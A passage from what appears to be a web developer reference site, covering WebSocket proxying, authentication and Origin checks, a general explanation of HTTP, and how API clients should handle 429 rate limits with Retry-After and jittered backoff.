success, and WebSocket frames then travel inside DATA frames on that stream. There's no `Connection` or `Upgrade` header and no `Sec-WebSocket-Key`/`Sec-WebSocket-Accept` calculation. Other streams on the connection keep carrying ordinary HTTP traffic. [RFC 9220 §3](https://www.rfc-editor.org/rfc/rfc9220#section-3) brings the same extended CONNECT approach to HTTP/3, on a QUIC stream, again gated on `SETTINGS_ENABLE_CONNECT_PROTOCOL`. Supporting HTTP/2 or HTTP/3 in general is a separate thing from supporting this extension. Check the WebSocket connection itself, at every proxy hop; whatever protocol served your HTML tells you nothing here. ## nginx: preserve the upgrade and budget the silence `Upgrade` and `Connection` are hop-by-hop headers, so nginx drops them unless you set them yourself. Following [nginx's WebSocket proxying documentation](https://nginx.org/en/docs/http/websocket.html), this config sets both and talks HTTP/1.1 to the upstream. The `map` goes in your existing `http` block and the `location` inside your server: ```nginx map $http_upgrade $connection_upgrade { default upgrade; '' close; } server { listen 8080; location /chat { proxy_pass http://127.0.0.1:3000; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection $connection_upgrade; proxy_read_timeout 120s; } } ``` `120s` is just an example budget. [`proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) defaults to `60s`, and it times the gap between reads from the upstream, not the whole session. A chatty client won't reset it, because the timer watches the server-to-nginx direction. Have the upstream send data or protocol Ping frames inside whatever budget you choose. [Cloudflare supports WebSockets on all plans](https://developers.cloudflare.com/network/websockets/); make sure **Network → WebSockets** is **On** for the zone. Its WAF looks at the opening HTTP request, not at the WebSocket messages that follow. Cloudflare also documents that it closes idle connections and terminates connections when it restarts its network code, without giving a numeric idle timeout on that page. Build reconnects into the client: the zone setting allows WebSockets, but connections will still drop. ## Authentication: cookies, URL tickets and subprotocols The [browser API](https://websockets.spec.whatwg.org/#the-websocket-interface) is `new WebSocket(url, protocols)`. There's no option for arbitrary headers, so unlike `fetch()`, you can't set `Authorization` from the constructor. - **Cookie session:** the browser sends the opening handshake with Fetch's `include` credentials mode. Which cookies go along is still up to cookie scope and browser policy, so look at the real request's `Cookie` header when debugging. Validate the session before upgrading, and close open sockets when the session is revoked. [The WebSockets opening algorithm](https://websockets.spec.whatwg.org/#opening-handshake) ties into the [Fetch Standard](https://fetch.spec.whatwg.org/#credentials) for this. - **Token in the URL:** `wss://socket.example.com/chat?ticket=...` lets the server authenticate before accepting, but query strings end up in access logs, as [OWASP points out](https://cheatsheetseries.owasp.org/cheatsheets/WebSocket_Security_Cheat_Sheet.html#session-management). Use a short-lived, single-use ticket fetched over an authenticated HTTPS request, redact it in every log layer, and keep reusable bearer tokens out of URLs. - **The subprotocol trick:** offer an application protocol plus a ticket, encoded as a valid protocol token, in the constructor's second argument. This is an application convention layered on subprotocol negotiation, not a standard authentication scheme. A private convention might look like this: ```javascript // ticket must contain only base64url characters; obtain it over HTTPS first. const socket = new WebSocket('wss://socket.example.com/chat', [ 'chat.v1', `auth.${ticket}`, ]); ``` On the server, validate the `auth.` entry, consume the ticket, and select only `chat.v1` in `Sec-WebSocket-Protocol`. The response has to pick one of the offered protocols, and browsers that offered protocols reject a response that picks none. Redact this request header too: the secret left the URL, but it's now in a header that logs can capture. Document the convention on both client and server so nobody has to guess. ## Check Origin before accepting cookies Any web page can open a WebSocket to your application. If the browser attaches the victim's session cookie and your server accepts the connection, the attacker's page now has an authenticated channel. That's [cross-site WebSocket hijacking](https://cheatsheetseries.owasp.org/cheatsheets/WebSocket_Security_Cheat_Sheet.html#cross-site-websocket-hijacking-cswsh). For browser endpoints, compare `Origin` against an exact allowlist such as `https://app.example.com` **before** you send `101`. Reject unknown, missing or `null` origins unless you've made a deliberate decision to allow them. Compare whole origins, not substrings: `https://app.example.com.attacker.example` is a different origin. CORS headers like `Access-Control-Allow-Origin` don't apply to WebSockets, so this server-side check is the one that counts. Non-browser clients can send any `Origin` they like, so it isn't authentication. Authenticate those clients separately. Also authorize each operation inside the messages: an accepted socket shouldn't grant access to every document ID someone sends over it. ## Ping, pong and close codes Protocol Ping (`0x9`) and Pong (`0xA`) are control frames. When a peer gets a Ping, it replies with a Pong carrying the same payload, subject to the closing rules. Browser JavaScript has no protocol-level `ping()`, and sending the text `"ping"` is just an application message. If the browser needs to start a heartbeat, define one at the application level; otherwise have the server send protocol Pings. See [MDN](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_servers#pings_and_pongs_the_heartbeat_of_websockets) and the [WebSockets Standard](https://websockets.spec.whatwg.org/#ping-and-pong-frames). Set the heartbeat interval below the shortest idle timeout on the route. Then track the replies and kill sessions that stop answering. Writing on a timer keeps the connection busy, but only a reply shows the other side is alive. The meanings below are checked against [RFC 6455 §7.4.1](https://www.rfc-editor.org/rfc/rfc6455#section-7.4.1) and the [IANA registry](https://www.iana.org/assignments/websocket/websocket.xhtml#close-code-number): | Code | Meaning | What to investigate | | --- | --- | --- | | `1000` | Normal closure; the connection's purpose is complete. | Whether the application meant to finish. | | `1001` | An endpoint is going away, such as shutdown or page navigation. | Server lifecycle and navigation. | | `1006` | Abnormal closure without a received Close frame; **never transmitted** in a Close frame. | Handshake failure, transport loss and proxy logs. | | `1008` | A received message violates endpoint policy. | Authorization and message validation. | | `1011` | The server encountered a condition preventing it from fulfilling the request. | Server exception logs. | In the browser, `socket.close(code)` only accepts `1000` or `3000`–`4999`, as [the standard specifies](https://websockets.spec.whatwg.org/#dom-websocket-close). Server libraries can send the other permitted protocol codes, so `socket.close(1008)` belongs in server code; in browser code it throws. ## Debug the handshake separately from the messages With [websocat](https://github.com/vi/websocat) installed, connect to the endpoint using an allowed origin: ```bash websocat -v --origin https://app.example.com wss://socket.example.com/chat ``` websocat doesn't have your browser's cookies, so if the endpoint needs a session, expect an authentication failure unless you supply one. Keep production credentials out of shell transcripts you share. In Chrome DevTools, open **Network → WS**, pick the connection, and look at **Headers** and then **Messages**. The [Messages tab](https://developer.chrome.com/docs/devtools/network/reference#frames) shows each payload with its length, timestamp and control-frame type. Log close events in your app too: ```javascript socket.addEventListener('close', ({ code, reason, wasClean }) => { console.log({ code, reason, wasClean }); }); ``` On HTTP/1.1, getting a `200` with HTML back means the upgrade never happened, so check the route and the proxy headers. A `403` means something refused the connection before accepting it: look at authentication, Origin checks and edge rules. If messages flow and then stop, line up the last server message, the heartbeat replies, how long the connection sat idle, and the proxy logs. A `1006` tells you the connection died abnormally. It won't tell you why. ## Related - [Upgrade](https://howhttpworks.com/headers/upgrade), [Sec-WebSocket-Key](https://howhttpworks.com/headers/sec-websocket-key) and [Sec-WebSocket-Accept](https://howhttpworks.com/headers/sec-websocket-accept) for handshake header details. - [101 Switching Protocols](https://howhttpworks.com/status-codes/101) for the HTTP/1.1 response. - [SSE vs WebSockets](https://howhttpworks.com/compare/sse-vs-websockets) for choosing a transport. --- # What Is HTTP? How the HTTP Protocol Works > HTTP is the request-response protocol behind every web page and API. See a real request and response, then methods, headers, status codes and what HTTPS adds. Source: https://howhttpworks.com/guides/how-http-works Last reviewed: 2026-10-05 > **TL;DR:** HTTP is a request-response protocol where browsers send requests (GET, POST, etc.) to servers, which respond with status codes, headers, and content. HTTPS adds encryption for security. HTTP (Hypertext Transfer Protocol) is the foundation of data communication on the web. Every time you browse a website, check your email, or use a mobile app, HTTP is working behind the scenes to transfer information between your device and servers around the world. This guide explains how HTTP works in plain language with practical examples you can try yourself. ## What is HTTP? HTTP is a set of rules (a protocol) that defines how messages are formatted and transmitted between web browsers and servers. Think of it as the language that your browser speaks to communicate with websites. **Key characteristics of HTTP:** - **Client-server model**: Your browser (client) sends requests, servers send responses - **Stateless**: Each request is independent—the server doesn't remember previous requests - **Text-based**: HTTP messages are human-readable (at least in HTTP/1.1) - **Extensible**: Headers allow adding new features without breaking existing systems When you type `https://example.com` in your browser, HTTP handles the entire conversation between your browser and the web server. ## The HTTP Request-Response Cycle Every HTTP interaction follows a simple pattern: request and response. ### Step 1: You Make a Request When you click a link or type a URL, your browser creates an HTTP request: ```http GET /products/shoes HTTP/1.1 Host: shop.example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept: text/html,application/json Accept-Language: en-US,en;q=0.9 ``` This request says: "Please send me the page at `/products/shoes` from `shop.example.com`." ### Step 2: The Server Responds The server processes your request and sends back a response: ```http HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 4523 Cache-Control: max-age=3600 Shoes - Example Shop

Our Shoe Collection

``` The `200 OK` status tells your browser the request succeeded, and the HTML content follows. ### Step 3: Your Browser Renders the Page Your browser receives the HTML, then makes additional HTTP requests for images, CSS files, JavaScript, and other resources needed to display the complete page. **[Try it yourself →](https://howhttpworks.com/tools/playground?preset=get-one)** Use our interactive playground to see real HTTP requests and responses. ## HTTP Methods: What Action to Take HTTP methods (also called verbs) tell the server what action you want to perform. The most common methods are: | Method | Purpose | Has Body? | Safe? | Idempotent? | | --------------------------- | --------------------- | --------- | ----- | ----------- | | [GET](https://howhttpworks.com/methods/get) | Retrieve data | No | Yes | Yes | | [POST](https://howhttpworks.com/methods/post) | Create new data | Yes | No | No | | [PUT](https://howhttpworks.com/methods/put) | Replace existing data | Yes | No | Yes | | [PATCH](https://howhttpworks.com/methods/patch) | Partially update data | Yes | No | No | | [DELETE](https://howhttpworks.com/methods/delete) | Remove data | Optional | No | Yes | | [HEAD](https://howhttpworks.com/methods/head) | Get headers only | No | Yes | Yes | | [OPTIONS](https://howhttpworks.com/methods/options) | Check allowed methods | No | Yes | Yes | ### GET: Retrieving Information GET requests fetch data without changing anything on the server: ```http GET /api/users/123 HTTP/1.1 Host: api.example.com Accept: application/json ``` Response: ```http HTTP/1.1 200 OK Content-Type: application/json { "id": 123, "name": "Alice Johnson", "email": "alice@example.com" } ``` ### POST: Creating New Data POST requests send data to create new resources: ```http POST /api/users HTTP/1.1 Host: api.example.com Content-Type: application/json { "name": "Bob Smith", "email": "bob@example.com" } ``` Response: ```http HTTP/1.1 201 Created Location: /api/users/124 Content-Type: application/json { "id": 124, "name": "Bob Smith", "email": "bob@example.com", "createdAt": "2026-01-19T10:30:00Z" } ``` **[Try creating a resource →](https://howhttpworks.com/tools/playground?preset=create)** See POST in action with our playground. ## HTTP Headers: Metadata About the Message Headers provide additional information about the request or response. They're key-value pairs that control caching, authentication, content negotiation, and more. ### Common Request Headers | Header | Purpose | Example | | --------------------------------------- | -------------------------- | -------------------------------- | | [Host](https://howhttpworks.com/headers/host) | Target server | `Host: api.example.com` | | [User-Agent](https://howhttpworks.com/headers/user-agent) | Client identification | `User-Agent: Mozilla/5.0...` | | [Accept](https://howhttpworks.com/headers/accept) | Preferred response format | `Accept: application/json` | | [Authorization](https://howhttpworks.com/headers/authorization) | Authentication credentials | `Authorization: Bearer token123` | | [Content-Type](https://howhttpworks.com/headers/content-type) | Request body format | `Content-Type: application/json` | | [Cookie](https://howhttpworks.com/headers/cookie) | Session data | `Cookie: session=abc123` | ### Common Response Headers | Header | Purpose | Example | | ----------------------------------------- | ---------------------- | ----------------------------- | | [Content-Type](https://howhttpworks.com/headers/content-type) | Response body format | `Content-Type: text/html` | | [Content-Length](https://howhttpworks.com/headers/content-length) | Body size in bytes | `Content-Length: 1234` | | [Cache-Control](https://howhttpworks.com/headers/cache-control) | Caching instructions | `Cache-Control: max-age=3600` | | [Set-Cookie](https://howhttpworks.com/headers/set-cookie) | Store cookie on client | `Set-Cookie: session=xyz` | | [Location](https://howhttpworks.com/headers/location) | Redirect URL | `Location: /new-page` | ### Example: Content Negotiation Headers let clients and servers negotiate the best format: ```http GET /api/data HTTP/1.1 Host: api.example.com Accept: application/json, text/xml;q=0.9, */*;q=0.8 Accept-Language: en-US,en;q=0.9,es;q=0.8 Accept-Encoding: gzip, deflate, br ``` The server responds with the best match: ```http HTTP/1.1 200 OK Content-Type: application/json Content-Language: en-US Content-Encoding: gzip Vary: Accept, Accept-Language, Accept-Encoding ``` ## HTTP Status Codes: What Happened? Status codes are three-digit numbers that tell you the result of your request. They're grouped into five categories: ### 1xx: Informational The server received your request and is processing it. - [100 Continue](https://howhttpworks.com/status-codes/100) - Keep sending the request body - [101 Switching Protocols](https://howhttpworks.com/status-codes/101) - Changing to WebSocket - [103 Early Hints](https://howhttpworks.com/status-codes/103) - Preload resources while waiting ### 2xx: Success Your request was received, understood, and accepted. - [200 OK](https://howhttpworks.com/status-codes/200) - Request succeeded - [201 Created](https://howhttpworks.com/status-codes/201) - New resource created - [204 No Content](https://howhttpworks.com/status-codes/204) - Success, but no body to return ### 3xx: Redirection You need to take additional action to complete the request. - [301 Moved Permanently](https://howhttpworks.com/status-codes/301) - Resource moved forever - [302 Found](https://howhttpworks.com/status-codes/302) - Temporary redirect - [304 Not Modified](https://howhttpworks.com/status-codes/304) - Use your cached version ### 4xx: Client Errors Something was wrong with your request. - [400 Bad Request](https://howhttpworks.com/status-codes/400) - Malformed request syntax - [401 Unauthorized](https://howhttpworks.com/status-codes/401) - Authentication required - [403 Forbidden](https://howhttpworks.com/status-codes/403) - You don't have permission - [404 Not Found](https://howhttpworks.com/status-codes/404) - Resource doesn't exist - [429 Too Many Requests](https://howhttpworks.com/status-codes/429) - Rate limit exceeded ### 5xx: Server Errors The server failed to fulfill a valid request. - [500 Internal Server Error](https://howhttpworks.com/status-codes/500) - Generic server error - [502 Bad Gateway](https://howhttpworks.com/status-codes/502) - Invalid response from upstream - [503 Service Unavailable](https://howhttpworks.com/status-codes/503) - Server temporarily overloaded - [504 Gateway Timeout](https://howhttpworks.com/status-codes/504) - Upstream server didn't respond **[Explore all status codes →](https://howhttpworks.com/status-codes)** See detailed explanations and examples for every HTTP status code. ## The Complete HTTP Lifecycle When you request a webpage, here's what happens step by step: ### 1. DNS Resolution (10-100ms) Your browser converts the domain name to an IP address: ```text example.com → 93.184.216.34 ``` ### 2. TCP Connection (20-100ms) Your browser establishes a connection using the TCP three-way handshake: ```text Client → Server: SYN Server → Client: SYN-ACK Client → Server: ACK ``` ### 3. TLS Handshake (50-200ms) For HTTPS, encryption is negotiated: ```text Client → Server: ClientHello (supported ciphers) Server → Client: ServerHello + Certificate Client → Server: Key exchange Both: Derive encryption keys ``` ### 4. HTTP Request (1-10ms) Your browser sends the HTTP request over the encrypted connection. ### 5. Server Processing (10-1000ms) The server: - Parses the request - Authenticates the user (if needed) - Retrieves data from databases - Generates the response ### 6. HTTP Response (1-50ms) The server sends back the response with status code, headers, and body. ### 7. Rendering Your browser parses HTML, requests additional resources (CSS, JS, images), and renders the page. **[See the lifecycle animated →](https://howhttpworks.com/learn/lifecycle)** Watch the complete request-response cycle in action. ## HTTP Versions: Evolution of the Protocol ### HTTP/0.9 (1991) The original version—extremely simple: ```http GET /page.html ``` Response was just the HTML content, no headers or status codes. ### HTTP/1.0 (1996) Added headers, status codes, and content types: ```http GET /page.html HTTP/1.0 User-Agent: NCSA_Mosaic/2.0 HTTP/1.0 200 OK Content-Type: text/html ``` ### HTTP/1.1 (1997) Still widely used today. Key improvements: - **Persistent connections**: Reuse TCP connections for multiple requests - **Chunked transfer**: Stream responses of unknown length - **Host header**: Multiple websites on one IP address - **Caching controls**: Fine-grained cache management ### HTTP/2 (2015) Major performance improvements: - **Multiplexing**: Multiple requests over one connection simultaneously - **Header compression**: Reduces overhead with HPACK - **Server push**: Send resources before they're requested - **Binary framing**: More efficient than text-based HTTP/1.1 ### HTTP/3 (2022) Built on QUIC instead of TCP: - **Faster connections**: 0-RTT connection establishment - **Better mobile performance**: Handles network changes gracefully - **Improved security**: TLS 1.3 built into the protocol - **No head-of-line blocking**: Lost packets don't delay other streams ## HTTP vs HTTPS: Security Matters HTTPS is HTTP with encryption. The "S" stands for Secure. | Aspect | HTTP | HTTPS | | --------------- | --------------- | ------------------ | | Port | 80 | 443 | | Encryption | None | TLS/SSL | | Data visibility | Anyone can read | Encrypted | | Authentication | None | Server certificate | | SEO impact | Penalized | Preferred | ### Why HTTPS Matters 1. **Privacy**: Prevents eavesdropping on sensitive data 2. **Integrity**: Ensures data isn't modified in transit 3. **Authentication**: Verifies you're talking to the real server 4. **Trust**: Browsers show security indicators 5. **SEO**: Google ranks HTTPS sites higher Modern browsers mark HTTP sites as "Not Secure." Always use HTTPS for production websites. ## Cookies and Sessions: Maintaining State HTTP is stateless, but cookies let servers remember users across requests. ### How Cookies Work 1. Server sends a cookie in the response: ```http HTTP/1.1 200 OK Set-Cookie: session_id=abc123; Path=/; HttpOnly; Secure; SameSite=Strict ``` 2. Browser stores the cookie and sends it with future requests: ```http GET /dashboard HTTP/1.1 Host: example.com Cookie: session_id=abc123 ``` ### Cookie Security Attributes | Attribute | Purpose | | ----------------------------------- | -------------------------------- | | [HttpOnly](https://howhttpworks.com/cookies/http-only) | Prevents JavaScript access | | [Secure](https://howhttpworks.com/cookies/secure) | Only sent over HTTPS | | [SameSite](https://howhttpworks.com/cookies/same-site) | Controls cross-site sending | | [Domain](https://howhttpworks.com/cookies/domain) | Which domains receive the cookie | | [Path](https://howhttpworks.com/cookies/path) | Which paths receive the cookie | | [Expires/Max-Age](https://howhttpworks.com/cookies/expires) | When the cookie expires | **[Learn more about cookie security →](https://howhttpworks.com/guides/cookie-security)** ## Caching: Making HTTP Faster Caching stores responses to avoid redundant network requests. ### Cache-Control Header ```http Cache-Control: max-age=3600, public ``` Common directives: | Directive | Meaning | | ----------- | ----------------------- | | `max-age=N` | Cache for N seconds | | `no-cache` | Revalidate before using | | `no-store` | Never cache | | `public` | Any cache can store | | `private` | Only browser can cache | | `immutable` | Never changes | ### Conditional Requests Validate cached content without downloading again: ```http GET /styles.css HTTP/1.1 If-None-Match: "abc123" If-Modified-Since: Fri, 18 Jan 2026 10:00:00 GMT ``` If unchanged, server responds: ```http HTTP/1.1 304 Not Modified ``` **[Read the full caching guide →](https://howhttpworks.com/guides/headers-and-caching)** ## CORS: Cross-Origin Requests By default, browsers block requests to different domains. CORS (Cross-Origin Resource Sharing) allows controlled cross-origin access. ### Simple Request ```http GET /api/data HTTP/1.1 Host: api.example.com Origin: https://mysite.com ``` Server allows it: ```http HTTP/1.1 200 OK Access-Control-Allow-Origin: https://mysite.com ``` ### Preflight Request For complex requests, browsers send an OPTIONS request first: ```http OPTIONS /api/data HTTP/1.1 Host: api.example.com Origin: https://mysite.com Access-Control-Request-Method: POST Access-Control-Request-Headers: Content-Type, Authorization ``` Server responds with permissions: ```http HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://mysite.com Access-Control-Allow-Methods: GET, POST, PUT, DELETE Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Max-Age: 86400 ``` **[Complete CORS guide →](https://howhttpworks.com/guides/cors)** ## Common HTTP Patterns ### RESTful API Design REST uses HTTP methods semantically: ```http GET /users # List all users GET /users/123 # Get user 123 POST /users # Create new user PUT /users/123 # Replace user 123 PATCH /users/123 # Update user 123 DELETE /users/123 # Delete user 123 ``` ### Pagination ```http GET /api/posts?page=2&limit=20 HTTP/1.1 HTTP/1.1 200 OK Link: ; rel="prev", ; rel="next" X-Total-Count: 156 ``` ### Authentication **Bearer Token:** ```http GET /api/profile HTTP/1.1 Authorization: Bearer eyJhbGciOiJIUzI1NiIs... ``` **Basic Auth:** ```http GET /api/profile HTTP/1.1 Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ= ``` **[Learn about HTTP authentication →](https://howhttpworks.com/guides/authentication)** ## Debugging HTTP ### Browser DevTools 1. Open DevTools (F12 or Cmd+Option+I) 2. Go to Network tab 3. Reload the page 4. Click any request to see details ### curl Command Line ```bash # Simple GET request curl https://api.example.com/users # See headers curl -I https://api.example.com/users # POST with JSON curl -X POST https://api.example.com/users \ -H "Content-Type: application/json" \ -d '{"name": "Alice"}' # Verbose output curl -v https://api.example.com/users ``` ### Common Issues | Problem | Likely Cause | Solution | | ---------------- | ------------------------------ | --------------------------------- | | 404 Not Found | Wrong URL or resource deleted | Check URL spelling | | 401 Unauthorized | Missing or invalid credentials | Check authentication | | 403 Forbidden | Insufficient permissions | Request access | | 500 Server Error | Server-side bug | Check server logs | | CORS error | Missing CORS headers | Configure server CORS | | Timeout | Slow server or network | Increase timeout, optimize server | ## Getting How HTTP Works right ### For API Consumers 1. **Handle errors gracefully**: Check status codes and display helpful messages 2. **Implement retries**: Use exponential backoff for transient failures 3. **Cache responses**: Respect Cache-Control headers 4. **Use compression**: Send `Accept-Encoding: gzip` 5. **Set timeouts**: Don't wait forever for slow servers ### For API Providers 1. **Use appropriate status codes**: Don't return 200 for errors 2. **Include helpful error messages**: Tell clients what went wrong 3. **Implement rate limiting**: Protect against abuse 4. **Enable CORS properly**: Don't use `*` in production 5. **Use HTTPS**: Encrypt all traffic 6. **Version your API**: Use `/v1/` or headers for versioning ## Try It Yourself Ready to experiment with HTTP? Use our interactive tools: - **[Playground](https://howhttpworks.com/tools/playground)**: Send real HTTP requests and see responses - **[Lifecycle Animation](https://howhttpworks.com/learn/lifecycle)**: Watch the request-response cycle - **[Status Code Explorer](https://howhttpworks.com/status-codes)**: Learn what each code means - **[Headers Reference](https://howhttpworks.com/headers)**: Understand every HTTP header ## Summary HTTP is the protocol that powers the web. Understanding how it works helps you: - Build better web applications - Debug network issues faster - Optimize performance - Implement secure authentication - Design clean APIs **Key takeaways:** 1. HTTP follows a request-response model 2. Methods define what action to take (GET, POST, PUT, DELETE) 3. Headers carry metadata about messages 4. Status codes indicate success or failure 5. HTTPS encrypts HTTP for security 6. Cookies maintain state across requests 7. Caching improves performance ## Related Guides - [Request and Response Lifecycle](https://howhttpworks.com/guides/request-lifecycle) - each step in detail - [HTTP Status Codes Overview](https://howhttpworks.com/guides/status-codes-overview) - Complete status code reference - [Headers and Caching](https://howhttpworks.com/guides/headers-and-caching) - Master HTTP caching - [Authentication Guide](https://howhttpworks.com/guides/authentication) - Secure your APIs - [CORS Explained](https://howhttpworks.com/guides/cors) - Cross-origin requests demystified - [Cookie Security](https://howhttpworks.com/guides/cookie-security) - Protect user sessions --- # 429 Too Many Requests: Fix It with Retry-After and Backoff > Fix 429 Too Many Requests as an API client: honor Retry-After, back off exponentially with jitter, read RateLimit headers, handle GitHub and LLM limits. Source: https://howhttpworks.com/debug/429-too-many-requests-fix Last reviewed: 2026-10-04 Error messages this page covers: - `429 Too Many Requests` - `HTTP/1.1 429 Too Many Requests` - `You have exceeded a secondary rate limit. Please wait a few minutes before you try again.` - `Rate limit reached for gpt-4o in organization org-xxxx on requests per min (RPM): Limit 3, Used 3, Requested 1. Please try again in 20s.` - `Error 1015: You are being rate limited` > **TL;DR:** The server is throttling your client. If the response has `Retry-After`, wait at least that long. If not, retry with exponential backoff and full jitter, cap the attempts, and lower your steady request rate so you stop hitting the limit. Immediate retries make it worse and can turn a rate limit into a ban. ## What it means 429 was added by RFC 6585 section 4 and is still the status servers use for "this user has sent too many requests in a given amount of time". The response may include a `Retry-After` header and should explain the limit in the body: ```http HTTP/1.1 429 Too Many Requests Content-Type: application/json Retry-After: 30 RateLimit-Policy: "burst";q=100;w=60 RateLimit: "burst";r=0;t=30 {"error":"rate_limited","message":"Rate limit exceeded. Try again in 30s."} ``` Throttling can be applied per API key, per IP address, per account, per endpoint or per token count, and several limits can apply at once. A client that was well below its per-minute limit can still hit a per-second burst limit. ## Who sent it? Several different layers return 429, and they need different fixes: - The API's own application layer: JSON body naming the limit, often with `Retry-After` and `X-RateLimit-*` or `RateLimit-*` headers. Follow the vendor's documentation. - An API gateway (AWS API Gateway throttling, Kong, Apigee): a generic "Too Many Requests" body, often without a `Retry-After`. Gateways commonly allow bursts and a steady rate; slow your average. - A WAF or CDN in front of the origin: a Cloudflare page "Error 1015: You are being rate limited" with `Server: cloudflare` and a `CF-Ray`; the origin never saw the request. These rules often key on IP and path, so changing nothing but your IP or user agent changes nothing about the real problem. - Your own nginx: `limit_req` returns 503 by default, so a 429 from nginx means someone set `limit_req_status 429`. Print only the headers that matter: ```bash curl -si https://api.example.com/items -H "Authorization: Bearer $TOKEN" \ | grep -iE '^(HTTP/|retry-after|ratelimit|x-ratelimit|x-github|server|cf-ray|via)' ``` ## Fix it, in order of likelihood 1. Stop retrying immediately. Honor `Retry-After`. 2. Add capped exponential backoff with jitter for the case where there is no `Retry-After`. 3. Cap the number of attempts and the total wait, and surface the failure instead of looping forever. 4. Reduce the request rate itself: limit client concurrency, batch calls, and cache. 5. Check whether the 429 means "slow down" or "you have no quota", and do not retry the latter. 6. Share one limiter across all workers and processes that use the same credential. ### Honor Retry-After `Retry-After` is either a non-negative integer number of seconds or an HTTP date (RFC 9110 section 10.2.3). Handle both: ```text Retry-After: 120 Retry-After: Mon, 04 Oct 2027 09:30:00 GMT ``` ### Exponential backoff with full jitter Delay for attempt `n` (starting at 0) is a random value between 0 and `min(cap, base * 2^n)`. This is the "full jitter" strategy from the AWS Architecture Blog and performs better than plain exponential delay because it breaks the synchronization between clients. ```javascript const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)) function parseRetryAfter(value) { if (!value) return null if (/^\d+$/.test(value.trim())) return Number(value) * 1000 // delta-seconds const date = Date.parse(value) // HTTP-date if (!Number.isNaN(date)) return Math.max(0, date - Date.now()) return null } async function fetchWithRetry(url, init = {}, { retries = 5, baseMs = 500, capMs = 30_000 } = {}) { for (let attempt = 0; ; attempt++) { const response = await fetch(url, init) if (response.status !== 429 || attempt >= retries) return response const serverDelay = parseRetryAfter(response.headers.get('retry-after')) const backoff = Math.random() * Math.min(capMs, baseMs * 2 ** attempt) // Never wait less than the server asked for; add jitter on top of it const delay = serverDelay !== null ? serverDelay + Math.random() * 1000 : backoff await response.body?.cancel() // free the connection before waiting await sleep(delay) } } ``` Requests with a streaming body cannot be replayed, so only use this wrapper with strings, `Blob`, `FormData` or `URLSearchParams` bodies. If your callers already pass an `AbortSignal`, pass it through `init`; an aborted `fetch` throws and exits the loop. Python with `requests` and urllib3 already implements most of this. `Retry` honors `Retry-After` for 413, 429 and 503 by default and sleeps `backoff_factor * 2**(n-1)` seconds otherwise. Its delays are not jittered unless you set `backoff_jitter` (urllib3 2.x), and the sleep is not "full jitter" as described above: ```python import requests from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry retry = Retry( total=5, status_forcelist=[429, 503], backoff_factor=0.5, backoff_jitter=0.5, # urllib3 2.x; without it the delays are deterministic respect_retry_after_header=True, # the default allowed_methods=None, # retry all methods; by default POST is excluded ) session = requests.Session() session.mount('https://', HTTPAdapter(max_retries=retry)) ``` Setting `allowed_methods=None` retries POST on those statuses. For a 503 that can be unsafe if the server partially processed the request; use it only when the API is idempotent or accepts an idempotency key. ### Slow down on purpose Backoff reacts to a limit you already hit. Staying below it needs client-side pacing: - Cap concurrency: a pool of 4 to 8 workers rather than firing 500 `Promise.all` calls. - Use a token bucket sized to the documented rate, shared across processes (for example in Redis) if several workers use the same API key. - Spread scheduled jobs; ten cron jobs starting at `:00` produce a burst each hour. - Replace polling with webhooks or longer intervals, and use conditional requests (`If-None-Match`) where the API supports them. Some APIs, including GitHub's, document that a `304 Not Modified` conditional response does not count against the primary rate limit; check your API's rules. - Cache responses that do not change and request only the fields you need. ### Read the rate limit headers Two generations of headers exist. The older `X-RateLimit-*` headers are widely used but never standardized: ```http X-RateLimit-Limit: 60 X-RateLimit-Remaining: 0 X-RateLimit-Reset: 1790000000 ``` The meaning of `Reset` varies: GitHub uses a Unix timestamp in seconds, other APIs use seconds remaining. The IETF HTTPAPI working group's draft (`draft-ietf-httpapi-ratelimit-headers`, still a draft, not an RFC) defines structured-field headers instead: ```http RateLimit-Policy: "burst";q=100;w=60 RateLimit: "burst";r=40;t=15 ``` The quoted string is a policy name that ties a `RateLimit` item to its `RateLimit-Policy` item. In the policy, `q` is the quota, `w` the window in seconds and the optional `qu` the unit (`requests`, `content-bytes` or `concurrent-requests`). In `RateLimit`, `r` is the remaining quota and `t` the effective window in seconds: the draft warns clients not to assume the whole quota is restored when `t` elapses. If a response carries both `RateLimit` and `Retry-After`, `Retry-After` takes precedence. Earlier revisions used `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, which is a different syntax. Both are in the wild. When `r` is small, wait instead of sending another request. ### Provider specifics GitHub has two separate limits. Exceeding the primary limit returns 403 or 429 with `x-ratelimit-remaining: 0`; `x-ratelimit-reset` is the UTC epoch second when the window resets. Secondary limits (concurrency and request-rate abuse protection) also answer 403 or 429, with a message like `You have exceeded a secondary rate limit`. GitHub's documented guidance is: if `retry-after` is present, wait that many seconds; if `x-ratelimit-remaining` is 0, wait until `x-ratelimit-reset`; otherwise wait at least a minute, and increase the wait on repeated failures. GitHub also tells clients to avoid concurrent requests and to pace requests that create content. Continuing to send requests while limited can get the integration banned. LLM and AI APIs generally apply several limits at once: requests per minute, tokens per minute, and sometimes concurrent requests or a spending cap. Responses usually carry the remaining counts and reset time for each in provider-specific headers (for example the `x-ratelimit-*-requests` and `x-ratelimit-*-tokens` families, or `anthropic-ratelimit-*` headers together with `retry-after`). Two points apply to all of them. Retry the 429 only when it indicates a rate limit; some providers use the same status for an exhausted quota or billing limit, and no amount of backoff fixes that. And count tokens, not just requests: a handful of very large requests can exhaust a token-per-minute budget that many small ones would not. ## Reproduce and verify To confirm your client behaves, point it at a server you control that always returns 429. Any local server works. With Node: ```javascript // node 429-server.js import http from 'node:http' let hits = 0 http.createServer((req, res) => { hits += 1 console.log(new Date().toISOString(), 'hit', hits) if (hits < 4) { res.writeHead(429, { 'Retry-After': '2', 'Content-Type': 'text/plain' }) return res.end('slow down') } res.writeHead(200, { 'Content-Type': 'text/plain' }) res.end('ok') }).listen(8080) ``` ```bash curl -si http://localhost:8080/ | head -n 4 ``` The log should show your client's requests spaced at least two seconds apart (the `Retry-After` value) for the first three, and a success on the fourth. Spacing that is 